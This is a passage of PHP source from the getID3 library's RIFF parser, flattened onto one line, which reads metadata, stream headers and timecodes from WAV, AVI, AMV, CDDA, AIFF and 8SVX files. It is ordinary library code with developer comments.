(isset($parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_LO']) && !empty($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) && !empty($thisfile_riff_WAVE['iXML'][0]['timecode_rate'])) { $samples_since_midnight = floatval(ltrim($parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_HI'].$parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_LO'], '0')); $timestamp_sample_rate = (is_array($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) ? max($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) : $parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']); // XML could possibly contain more than one TIMESTAMP_SAMPLE_RATE tag, returning as array instead of integer [why? does it make sense? perhaps doesn't matter but getID3 needs to deal with it] - see https://github.com/JamesHeinrich/getID3/issues/105 $thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] = $samples_since_midnight / $timestamp_sample_rate; $h = floor( $thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] / 3600); $m = floor(($thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600)) / 60); $s = floor( $thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600) - ($m * 60)); $f = ($thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600) - ($m * 60) - $s) * $thisfile_riff_WAVE['iXML'][0]['timecode_rate']; $thisfile_riff_WAVE['iXML'][0]['timecode_string'] = sprintf('%02d:%02d:%02d:%05.2f', $h, $m, $s, $f); $thisfile_riff_WAVE['iXML'][0]['timecode_string_round'] = sprintf('%02d:%02d:%02d:%02d', $h, $m, $s, round($f)); unset($samples_since_midnight, $timestamp_sample_rate, $h, $m, $s, $f); } unset($parsedXML); } } if (!isset($thisfile_audio['bitrate']) && isset($thisfile_riff_audio[$streamindex]['bitrate'])) { $thisfile_audio['bitrate'] = $thisfile_riff_audio[$streamindex]['bitrate']; $info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $thisfile_audio['bitrate']); } if (!empty($info['wavpack'])) { $thisfile_audio_dataformat = 'wavpack'; $thisfile_audio['bitrate_mode'] = 'vbr'; $thisfile_audio['encoder'] = 'WavPack v'.$info['wavpack']['version']; // Reset to the way it was - RIFF parsing will have messed this up $info['avdataend'] = $Original['avdataend']; $thisfile_audio['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; $this->fseek($info['avdataoffset'] - 44); $RIFFdata = $this->fread(44); $OrignalRIFFheaderSize = getid3_lib::LittleEndian2Int(substr($RIFFdata, 4, 4)) + 8; $OrignalRIFFdataSize = getid3_lib::LittleEndian2Int(substr($RIFFdata, 40, 4)) + 44; if ($OrignalRIFFheaderSize > $OrignalRIFFdataSize) { $info['avdataend'] -= ($OrignalRIFFheaderSize - $OrignalRIFFdataSize); $this->fseek($info['avdataend']); $RIFFdata .= $this->fread($OrignalRIFFheaderSize - $OrignalRIFFdataSize); } // move the data chunk after all other chunks (if any) // so that the RIFF parser doesn't see EOF when trying // to skip over the data chunk $RIFFdata = substr($RIFFdata, 0, 36).substr($RIFFdata, 44).substr($RIFFdata, 36, 8); $getid3_riff = new getid3_riff($this->getid3); $getid3_riff->ParseRIFFdata($RIFFdata); unset($getid3_riff); } if (isset($thisfile_riff_raw['fmt ']['wFormatTag'])) { switch ($thisfile_riff_raw['fmt ']['wFormatTag']) { case 0x0001: // PCM if (!empty($info['ac3'])) { // Dolby Digital WAV files masquerade as PCM-WAV, but they're not $thisfile_audio['wformattag'] = 0x2000; $thisfile_audio['codec'] = self::wFormatTagLookup($thisfile_audio['wformattag']); $thisfile_audio['lossless'] = false; $thisfile_audio['bitrate'] = $info['ac3']['bitrate']; $thisfile_audio['sample_rate'] = $info['ac3']['sample_rate']; } if (!empty($info['dts'])) { // Dolby DTS files masquerade as PCM-WAV, but they're not $thisfile_audio['wformattag'] = 0x2001; $thisfile_audio['codec'] = self::wFormatTagLookup($thisfile_audio['wformattag']); $thisfile_audio['lossless'] = false; $thisfile_audio['bitrate'] = $info['dts']['bitrate']; $thisfile_audio['sample_rate'] = $info['dts']['sample_rate']; } break; case 0x08AE: // ClearJump LiteWave $thisfile_audio['bitrate_mode'] = 'vbr'; $thisfile_audio_dataformat = 'litewave'; //typedef struct tagSLwFormat { // WORD m_wCompFormat; // low byte defines compression method, high byte is compression flags // DWORD m_dwScale; // scale factor for lossy compression // DWORD m_dwBlockSize; // number of samples in encoded blocks // WORD m_wQuality; // alias for the scale factor // WORD m_wMarkDistance; // distance between marks in bytes // WORD m_wReserved; // // //following paramters are ignored if CF_FILESRC is not set // DWORD m_dwOrgSize; // original file size in bytes // WORD m_bFactExists; // indicates if 'fact' chunk exists in the original file // DWORD m_dwRiffChunkSize; // riff chunk size in the original file // // PCMWAVEFORMAT m_OrgWf; // original wave format // }SLwFormat, *PSLwFormat; // shortcut $thisfile_riff['litewave']['raw'] = array(); $riff_litewave = &$thisfile_riff['litewave']; $riff_litewave_raw = &$riff_litewave['raw']; $flags = array( 'compression_method' => 1, 'compression_flags' => 1, 'm_dwScale' => 4, 'm_dwBlockSize' => 4, 'm_wQuality' => 2, 'm_wMarkDistance' => 2, 'm_wReserved' => 2, 'm_dwOrgSize' => 4, 'm_bFactExists' => 2, 'm_dwRiffChunkSize' => 4, ); $litewave_offset = 18; foreach ($flags as $flag => $length) { $riff_litewave_raw[$flag] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE['fmt '][0]['data'], $litewave_offset, $length)); $litewave_offset += $length; } //$riff_litewave['quality_factor'] = intval(round((2000 - $riff_litewave_raw['m_dwScale']) / 20)); $riff_litewave['quality_factor'] = $riff_litewave_raw['m_wQuality']; $riff_litewave['flags']['raw_source'] = ($riff_litewave_raw['compression_flags'] & 0x01) ? false : true; $riff_litewave['flags']['vbr_blocksize'] = ($riff_litewave_raw['compression_flags'] & 0x02) ? false : true; $riff_litewave['flags']['seekpoints'] = (bool) ($riff_litewave_raw['compression_flags'] & 0x04); $thisfile_audio['lossless'] = (($riff_litewave_raw['m_wQuality'] == 100) ? true : false); $thisfile_audio['encoder_options'] = '-q'.$riff_litewave['quality_factor']; break; default: break; } } if ($info['avdataend'] > $info['filesize']) { switch (!empty($thisfile_audio_dataformat) ? $thisfile_audio_dataformat : '') { case 'wavpack': // WavPack case 'lpac': // LPAC case 'ofr': // OptimFROG case 'ofs': // OptimFROG DualStream // lossless compressed audio formats that keep original RIFF headers - skip warning break; case 'litewave': if (($info['avdataend'] - $info['filesize']) == 1) { // LiteWave appears to incorrectly *not* pad actual output file // to nearest WORD boundary so may appear to be short by one // byte, in which case - skip warning } else { // Short by more than one byte, throw warning $this->warning('Probably truncated file - expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)'); $info['avdataend'] = $info['filesize']; } break; default: if ((($info['avdataend'] - $info['filesize']) == 1) && (($thisfile_riff[$RIFFsubtype]['data'][0]['size'] % 2) == 0) && ((($info['filesize'] - $info['avdataoffset']) % 2) == 1)) { // output file appears to be incorrectly *not* padded to nearest WORD boundary // Output less severe warning $this->warning('File should probably be padded to nearest WORD boundary, but it is not (expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' therefore short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)'); $info['avdataend'] = $info['filesize']; } else { // Short by more than one byte, throw warning $this->warning('Probably truncated file - expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)'); $info['avdataend'] = $info['filesize']; } break; } } if (!empty($info['mpeg']['audio']['LAME']['audio_bytes'])) { if ((($info['avdataend'] - $info['avdataoffset']) - $info['mpeg']['audio']['LAME']['audio_bytes']) == 1) { $info['avdataend']--; $this->warning('Extra null byte at end of MP3 data assumed to be RIFF padding and therefore ignored'); } } if (isset($thisfile_audio_dataformat) && ($thisfile_audio_dataformat == 'ac3')) { unset($thisfile_audio['bits_per_sample']); if (!empty($info['ac3']['bitrate']) && ($info['ac3']['bitrate'] != $thisfile_audio['bitrate'])) { $thisfile_audio['bitrate'] = $info['ac3']['bitrate']; } } break; // http://en.wikipedia.org/wiki/Audio_Video_Interleave case 'AVI ': $info['fileformat'] = 'avi'; $info['mime_type'] = 'video/avi'; $thisfile_video['bitrate_mode'] = 'vbr'; // maybe not, but probably $thisfile_video['dataformat'] = 'avi'; $thisfile_riff_video_current = array(); if (isset($thisfile_riff[$RIFFsubtype]['movi']['offset'])) { $info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['movi']['offset'] + 8; if (isset($thisfile_riff['AVIX'])) { $info['avdataend'] = $thisfile_riff['AVIX'][(count($thisfile_riff['AVIX']) - 1)]['chunks']['movi']['offset'] + $thisfile_riff['AVIX'][(count($thisfile_riff['AVIX']) - 1)]['chunks']['movi']['size']; } else { $info['avdataend'] = $thisfile_riff['AVI ']['movi']['offset'] + $thisfile_riff['AVI ']['movi']['size']; } if ($info['avdataend'] > $info['filesize']) { $this->warning('Probably truncated file - expecting '.($info['avdataend'] - $info['avdataoffset']).' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($info['avdataend'] - $info['filesize']).' bytes)'); $info['avdataend'] = $info['filesize']; } } if (isset($thisfile_riff['AVI ']['hdrl']['strl']['indx'])) { //$bIndexType = array( // 0x00 => 'AVI_INDEX_OF_INDEXES', // 0x01 => 'AVI_INDEX_OF_CHUNKS', // 0x80 => 'AVI_INDEX_IS_DATA', //); //$bIndexSubtype = array( // 0x01 => array( // 0x01 => 'AVI_INDEX_2FIELD', // ), //); foreach ($thisfile_riff['AVI ']['hdrl']['strl']['indx'] as $streamnumber => $steamdataarray) { $ahsisd = &$thisfile_riff['AVI ']['hdrl']['strl']['indx'][$streamnumber]['data']; $thisfile_riff_raw['indx'][$streamnumber]['wLongsPerEntry'] = $this->EitherEndian2Int(substr($ahsisd, 0, 2)); $thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType'] = $this->EitherEndian2Int(substr($ahsisd, 2, 1)); $thisfile_riff_raw['indx'][$streamnumber]['bIndexType'] = $this->EitherEndian2Int(substr($ahsisd, 3, 1)); $thisfile_riff_raw['indx'][$streamnumber]['nEntriesInUse'] = $this->EitherEndian2Int(substr($ahsisd, 4, 4)); $thisfile_riff_raw['indx'][$streamnumber]['dwChunkId'] = substr($ahsisd, 8, 4); $thisfile_riff_raw['indx'][$streamnumber]['dwReserved'] = $this->EitherEndian2Int(substr($ahsisd, 12, 4)); //$thisfile_riff_raw['indx'][$streamnumber]['bIndexType_name'] = $bIndexType[$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']]; //$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType_name'] = $bIndexSubtype[$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']][$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType']]; unset($ahsisd); } } if (isset($thisfile_riff['AVI ']['hdrl']['avih'][$streamindex]['data'])) { $avihData = $thisfile_riff['AVI ']['hdrl']['avih'][$streamindex]['data']; // shortcut $thisfile_riff_raw['avih'] = array(); $thisfile_riff_raw_avih = &$thisfile_riff_raw['avih']; $thisfile_riff_raw_avih['dwMicroSecPerFrame'] = $this->EitherEndian2Int(substr($avihData, 0, 4)); // frame display rate (or 0L) if ($thisfile_riff_raw_avih['dwMicroSecPerFrame'] == 0) { $this->error('Corrupt RIFF file: avih.dwMicroSecPerFrame == zero'); return false; } $flags = array( 'dwMaxBytesPerSec', // max. transfer rate 'dwPaddingGranularity', // pad to multiples of this size; normally 2K. 'dwFlags', // the ever-present flags 'dwTotalFrames', // # frames in file 'dwInitialFrames', // 'dwStreams', // 'dwSuggestedBufferSize', // 'dwWidth', // 'dwHeight', // 'dwScale', // 'dwRate', // 'dwStart', // 'dwLength', // ); $avih_offset = 4; foreach ($flags as $flag) { $thisfile_riff_raw_avih[$flag] = $this->EitherEndian2Int(substr($avihData, $avih_offset, 4)); $avih_offset += 4; } $flags = array( 'hasindex' => 0x00000010, 'mustuseindex' => 0x00000020, 'interleaved' => 0x00000100, 'trustcktype' => 0x00000800, 'capturedfile' => 0x00010000, 'copyrighted' => 0x00020010, ); foreach ($flags as $flag => $value) { $thisfile_riff_raw_avih['flags'][$flag] = (bool) ($thisfile_riff_raw_avih['dwFlags'] & $value); } // shortcut $thisfile_riff_video[$streamindex] = array(); /** @var array $thisfile_riff_video_current */ $thisfile_riff_video_current = &$thisfile_riff_video[$streamindex]; if ($thisfile_riff_raw_avih['dwWidth'] > 0) { $thisfile_riff_video_current['frame_width'] = $thisfile_riff_raw_avih['dwWidth']; $thisfile_video['resolution_x'] = $thisfile_riff_video_current['frame_width']; } if ($thisfile_riff_raw_avih['dwHeight'] > 0) { $thisfile_riff_video_current['frame_height'] = $thisfile_riff_raw_avih['dwHeight']; $thisfile_video['resolution_y'] = $thisfile_riff_video_current['frame_height']; } if ($thisfile_riff_raw_avih['dwTotalFrames'] > 0) { $thisfile_riff_video_current['total_frames'] = $thisfile_riff_raw_avih['dwTotalFrames']; $thisfile_video['total_frames'] = $thisfile_riff_video_current['total_frames']; } $thisfile_riff_video_current['frame_rate'] = round(1000000 / $thisfile_riff_raw_avih['dwMicroSecPerFrame'], 3); $thisfile_video['frame_rate'] = $thisfile_riff_video_current['frame_rate']; } if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strh'][0]['data'])) { if (is_array($thisfile_riff['AVI ']['hdrl']['strl']['strh'])) { for ($i = 0; $i < count($thisfile_riff['AVI ']['hdrl']['strl']['strh']); $i++) { if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strh'][$i]['data'])) { $strhData = $thisfile_riff['AVI ']['hdrl']['strl']['strh'][$i]['data']; $strhfccType = substr($strhData, 0, 4); if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strf'][$i]['data'])) { $strfData = $thisfile_riff['AVI ']['hdrl']['strl']['strf'][$i]['data']; // shortcut $thisfile_riff_raw_strf_strhfccType_streamindex = &$thisfile_riff_raw['strf'][$strhfccType][$streamindex]; switch ($strhfccType) { case 'auds': $thisfile_audio['bitrate_mode'] = 'cbr'; $thisfile_audio_dataformat = 'wav'; if (isset($thisfile_riff_audio) && is_array($thisfile_riff_audio)) { $streamindex = count($thisfile_riff_audio); } $thisfile_riff_audio[$streamindex] = self::parseWAVEFORMATex($strfData); $thisfile_audio['wformattag'] = $thisfile_riff_audio[$streamindex]['raw']['wFormatTag']; // shortcut $thisfile_audio['streams'][$streamindex] = $thisfile_riff_audio[$streamindex]; $thisfile_audio_streams_currentstream = &$thisfile_audio['streams'][$streamindex]; if ($thisfile_audio_streams_currentstream['bits_per_sample'] == 0) { unset($thisfile_audio_streams_currentstream['bits_per_sample']); } $thisfile_audio_streams_currentstream['wformattag'] = $thisfile_audio_streams_currentstream['raw']['wFormatTag']; unset($thisfile_audio_streams_currentstream['raw']); // shortcut $thisfile_riff_raw['strf'][$strhfccType][$streamindex] = $thisfile_riff_audio[$streamindex]['raw']; unset($thisfile_riff_audio[$streamindex]['raw']); $thisfile_audio = getid3_lib::array_merge_noclobber($thisfile_audio, $thisfile_riff_audio[$streamindex]); $thisfile_audio['lossless'] = false; switch ($thisfile_riff_raw_strf_strhfccType_streamindex['wFormatTag']) { case 0x0001: // PCM $thisfile_audio_dataformat = 'wav'; $thisfile_audio['lossless'] = true; break; case 0x0050: // MPEG Layer 2 or Layer 1 $thisfile_audio_dataformat = 'mp2'; // Assume Layer-2 break; case 0x0055: // MPEG Layer 3 $thisfile_audio_dataformat = 'mp3'; break; case 0x00FF: // AAC $thisfile_audio_dataformat = 'aac'; break; case 0x0161: // Windows Media v7 / v8 / v9 case 0x0162: // Windows Media Professional v9 case 0x0163: // Windows Media Lossess v9 $thisfile_audio_dataformat = 'wma'; break; case 0x2000: // AC-3 $thisfile_audio_dataformat = 'ac3'; break; case 0x2001: // DTS $thisfile_audio_dataformat = 'dts'; break; default: $thisfile_audio_dataformat = 'wav'; break; } $thisfile_audio_streams_currentstream['dataformat'] = $thisfile_audio_dataformat; $thisfile_audio_streams_currentstream['lossless'] = $thisfile_audio['lossless']; $thisfile_audio_streams_currentstream['bitrate_mode'] = $thisfile_audio['bitrate_mode']; break; case 'iavs': case 'vids': // shortcut $thisfile_riff_raw['strh'][$i] = array(); $thisfile_riff_raw_strh_current = &$thisfile_riff_raw['strh'][$i]; $thisfile_riff_raw_strh_current['fccType'] = substr($strhData, 0, 4); // same as $strhfccType; $thisfile_riff_raw_strh_current['fccHandler'] = substr($strhData, 4, 4); $thisfile_riff_raw_strh_current['dwFlags'] = $this->EitherEndian2Int(substr($strhData, 8, 4)); // Contains AVITF_* flags $thisfile_riff_raw_strh_current['wPriority'] = $this->EitherEndian2Int(substr($strhData, 12, 2)); $thisfile_riff_raw_strh_current['wLanguage'] = $this->EitherEndian2Int(substr($strhData, 14, 2)); $thisfile_riff_raw_strh_current['dwInitialFrames'] = $this->EitherEndian2Int(substr($strhData, 16, 4)); $thisfile_riff_raw_strh_current['dwScale'] = $this->EitherEndian2Int(substr($strhData, 20, 4)); $thisfile_riff_raw_strh_current['dwRate'] = $this->EitherEndian2Int(substr($strhData, 24, 4)); $thisfile_riff_raw_strh_current['dwStart'] = $this->EitherEndian2Int(substr($strhData, 28, 4)); $thisfile_riff_raw_strh_current['dwLength'] = $this->EitherEndian2Int(substr($strhData, 32, 4)); $thisfile_riff_raw_strh_current['dwSuggestedBufferSize'] = $this->EitherEndian2Int(substr($strhData, 36, 4)); $thisfile_riff_raw_strh_current['dwQuality'] = $this->EitherEndian2Int(substr($strhData, 40, 4)); $thisfile_riff_raw_strh_current['dwSampleSize'] = $this->EitherEndian2Int(substr($strhData, 44, 4)); $thisfile_riff_raw_strh_current['rcFrame'] = $this->EitherEndian2Int(substr($strhData, 48, 4)); $thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_riff_raw_strh_current['fccHandler']); $thisfile_video['fourcc'] = $thisfile_riff_raw_strh_current['fccHandler']; if (!$thisfile_riff_video_current['codec'] && isset($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']) && self::fourccLookup($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'])) { $thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']); $thisfile_video['fourcc'] = $thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']; } $thisfile_video['codec'] = $thisfile_riff_video_current['codec']; $thisfile_video['pixel_aspect_ratio'] = (float) 1; switch ($thisfile_riff_raw_strh_current['fccHandler']) { case 'HFYU': // Huffman Lossless Codec case 'IRAW': // Intel YUV Uncompressed case 'YUY2': // Uncompressed YUV 4:2:2 $thisfile_video['lossless'] = true; break; default: $thisfile_video['lossless'] = false; break; } switch ($strhfccType) { case 'vids': $thisfile_riff_raw_strf_strhfccType_streamindex = self::ParseBITMAPINFOHEADER(substr($strfData, 0, 40), ($this->container == 'riff')); $thisfile_video['bits_per_sample'] = $thisfile_riff_raw_strf_strhfccType_streamindex['biBitCount']; if ($thisfile_riff_video_current['codec'] == 'DV') { $thisfile_riff_video_current['dv_type'] = 2; } break; case 'iavs': $thisfile_riff_video_current['dv_type'] = 1; break; } break; default: $this->warning('Unhandled fccType for stream ('.$i.'): "'.$strhfccType.'"'); break; } } } if (isset($thisfile_riff_raw_strf_strhfccType_streamindex) && isset($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'])) { $thisfile_video['fourcc'] = $thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']; if (self::fourccLookup($thisfile_video['fourcc'])) { $thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_video['fourcc']); $thisfile_video['codec'] = $thisfile_riff_video_current['codec']; } switch ($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']) { case 'HFYU': // Huffman Lossless Codec case 'IRAW': // Intel YUV Uncompressed case 'YUY2': // Uncompressed YUV 4:2:2 $thisfile_video['lossless'] = true; //$thisfile_video['bits_per_sample'] = 24; break; default: $thisfile_video['lossless'] = false; //$thisfile_video['bits_per_sample'] = 24; break; } } } } } break; case 'AMV ': $info['fileformat'] = 'amv'; $info['mime_type'] = 'video/amv'; $thisfile_video['bitrate_mode'] = 'vbr'; // it's MJPEG, presumably contant-quality encoding, thereby VBR $thisfile_video['dataformat'] = 'mjpeg'; $thisfile_video['codec'] = 'mjpeg'; $thisfile_video['lossless'] = false; $thisfile_video['bits_per_sample'] = 24; $thisfile_audio['dataformat'] = 'adpcm'; $thisfile_audio['lossless'] = false; break; // http://en.wikipedia.org/wiki/CD-DA case 'CDDA': $info['fileformat'] = 'cda'; unset($info['mime_type']); $thisfile_audio_dataformat = 'cda'; $info['avdataoffset'] = 44; if (isset($thisfile_riff['CDDA']['fmt '][0]['data'])) { // shortcut $thisfile_riff_CDDA_fmt_0 = &$thisfile_riff['CDDA']['fmt '][0]; $thisfile_riff_CDDA_fmt_0['unknown1'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 0, 2)); $thisfile_riff_CDDA_fmt_0['track_num'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 2, 2)); $thisfile_riff_CDDA_fmt_0['disc_id'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 4, 4)); $thisfile_riff_CDDA_fmt_0['start_offset_frame'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 8, 4)); $thisfile_riff_CDDA_fmt_0['playtime_frames'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 12, 4)); $thisfile_riff_CDDA_fmt_0['unknown6'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 16, 4)); $thisfile_riff_CDDA_fmt_0['unknown7'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 20, 4)); $thisfile_riff_CDDA_fmt_0['start_offset_seconds'] = (float) $thisfile_riff_CDDA_fmt_0['start_offset_frame'] / 75; $thisfile_riff_CDDA_fmt_0['playtime_seconds'] = (float) $thisfile_riff_CDDA_fmt_0['playtime_frames'] / 75; $info['comments']['track_number'] = $thisfile_riff_CDDA_fmt_0['track_num']; $info['playtime_seconds'] = $thisfile_riff_CDDA_fmt_0['playtime_seconds']; // hardcoded data for CD-audio $thisfile_audio['lossless'] = true; $thisfile_audio['sample_rate'] = 44100; $thisfile_audio['channels'] = 2; $thisfile_audio['bits_per_sample'] = 16; $thisfile_audio['bitrate'] = $thisfile_audio['sample_rate'] * $thisfile_audio['channels'] * $thisfile_audio['bits_per_sample']; $thisfile_audio['bitrate_mode'] = 'cbr'; } break; // http://en.wikipedia.org/wiki/AIFF case 'AIFF': case 'AIFC': $info['fileformat'] = 'aiff'; $info['mime_type'] = 'audio/x-aiff'; $thisfile_audio['bitrate_mode'] = 'cbr'; $thisfile_audio_dataformat = 'aiff'; $thisfile_audio['lossless'] = true; if (isset($thisfile_riff[$RIFFsubtype]['SSND'][0]['offset'])) { $info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['SSND'][0]['offset'] + 8; $info['avdataend'] = $info['avdataoffset'] + $thisfile_riff[$RIFFsubtype]['SSND'][0]['size']; if ($info['avdataend'] > $info['filesize']) { if (($info['avdataend'] == ($info['filesize'] + 1)) && (($info['filesize'] % 2) == 1)) { // structures rounded to 2-byte boundary, but dumb encoders // forget to pad end of file to make this actually work } else { $this->warning('Probable truncated AIFF file: expecting '.$thisfile_riff[$RIFFsubtype]['SSND'][0]['size'].' bytes of audio data, only '.($info['filesize'] - $info['avdataoffset']).' bytes found'); } $info['avdataend'] = $info['filesize']; } } if (isset($thisfile_riff[$RIFFsubtype]['COMM'][0]['data'])) { // shortcut $thisfile_riff_RIFFsubtype_COMM_0_data = &$thisfile_riff[$RIFFsubtype]['COMM'][0]['data']; $thisfile_riff_audio['channels'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 0, 2), true); $thisfile_riff_audio['total_samples'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 2, 4), false); $thisfile_riff_audio['bits_per_sample'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 6, 2), true); $thisfile_riff_audio['sample_rate'] = (int) getid3_lib::BigEndian2Float(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 8, 10)); if ($thisfile_riff[$RIFFsubtype]['COMM'][0]['size'] > 18) { $thisfile_riff_audio['codec_fourcc'] = substr($thisfile_riff_RIFFsubtype_COMM_0_data, 18, 4); $CodecNameSize = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 22, 1), false); $thisfile_riff_audio['codec_name'] = substr($thisfile_riff_RIFFsubtype_COMM_0_data, 23, $CodecNameSize); switch ($thisfile_riff_audio['codec_name']) { case 'NONE': $thisfile_audio['codec'] = 'Pulse Code Modulation (PCM)'; $thisfile_audio['lossless'] = true; break; case '': switch ($thisfile_riff_audio['codec_fourcc']) { // http://developer.apple.com/qa/snd/snd07.html case 'sowt': $thisfile_riff_audio['codec_name'] = 'Two\'s Compliment Little-Endian PCM'; $thisfile_audio['lossless'] = true; break; case 'twos': $thisfile_riff_audio['codec_name'] = 'Two\'s Compliment Big-Endian PCM'; $thisfile_audio['lossless'] = true; break; default: break; } break; default: $thisfile_audio['codec'] = $thisfile_riff_audio['codec_name']; $thisfile_audio['lossless'] = false; break; } } $thisfile_audio['channels'] = $thisfile_riff_audio['channels']; if ($thisfile_riff_audio['bits_per_sample'] > 0) { $thisfile_audio['bits_per_sample'] = $thisfile_riff_audio['bits_per_sample']; } $thisfile_audio['sample_rate'] = $thisfile_riff_audio['sample_rate']; if ($thisfile_audio['sample_rate'] == 0) { $this->error('Corrupted AIFF file: sample_rate == zero'); return false; } $info['playtime_seconds'] = $thisfile_riff_audio['total_samples'] / $thisfile_audio['sample_rate']; } if (isset($thisfile_riff[$RIFFsubtype]['COMT'])) { $offset = 0; $CommentCount = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), false); $offset += 2; for ($i = 0; $i < $CommentCount; $i++) { $info['comments_raw'][$i]['timestamp'] = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 4), false); $offset += 4; $info['comments_raw'][$i]['marker_id'] = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), true); $offset += 2; $CommentLength = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), false); $offset += 2; $info['comments_raw'][$i]['comment'] = substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, $CommentLength); $offset += $CommentLength; $info['comments_raw'][$i]['timestamp_unix'] = getid3_lib::DateMac2Unix($info['comments_raw'][$i]['timestamp']); $thisfile_riff['comments']['comment'][] = $info['comments_raw'][$i]['comment']; } } $CommentsChunkNames = array('NAME'=>'title', 'author'=>'artist', '(c) '=>'copyright', 'ANNO'=>'comment'); foreach ($CommentsChunkNames as $key => $value) { if (isset($thisfile_riff[$RIFFsubtype][$key][0]['data'])) { $thisfile_riff['comments'][$value][] = $thisfile_riff[$RIFFsubtype][$key][0]['data']; } } /* if (isset($thisfile_riff[$RIFFsubtype]['ID3 '])) { getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); $getid3_temp = new getID3(); $getid3_temp->openfile($this->getid3->filename, null, $this->getid3->fp); $getid3_id3v2 = new getid3_id3v2($getid3_temp); $getid3_id3v2->StartingOffset = $thisfile_riff[$RIFFsubtype]['ID3 '][0]['offset'] + 8; if ($thisfile_riff[$RIFFsubtype]['ID3 '][0]['valid'] = $getid3_id3v2->Analyze()) { $info['id3v2'] = $getid3_temp->info['id3v2']; } unset($getid3_temp, $getid3_id3v2); } */ break; // http://en.wikipedia.org/wiki/8SVX case '8SVX': $info['fileformat'] = '8svx'; $info['mime_type'] = 'audio/8svx'; $thisfile_audio['bitrate_mode'] = 'cbr'; $thisfile_audio_dataformat = '8svx'; $thisfile_audio['bits_per_sample'] = 8; $thisfile_audio['channels'] = 1; // overridden below, if need be $ActualBitsPerSample = 0; if (isset($thisfile_riff[$RIFFsubtype]['BODY'][0]['offset'])) { $info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['BODY'][0]['offset'] + 8; $info['avdataend'] = $info['avdataoffset'] + $thisfile_riff[$RIFFsubtype]['BODY'][0]['size']; if ($info['avdataend'] > $info['filesize']) { $this->warning('Probable truncated AIFF file: expecting '.$thisfile_riff[$RIFFsubtype]['BODY'][0]['size'].' bytes of audio data, only '.($info['filesize'] - $info['avdataoffset']).' bytes found'); } } if (isset($thisfile_riff[$RIFFsubtype]['VHDR'][0]['offset'])) { // shortcut $thisfile_riff_RIFFsubtype_VHDR_0 = &$thisfile_riff[$RIFFsubtype]['VHDR'][0]; $thisfile_riff_RIFFsubtype_VHDR_0['oneShotHiSamples'] = 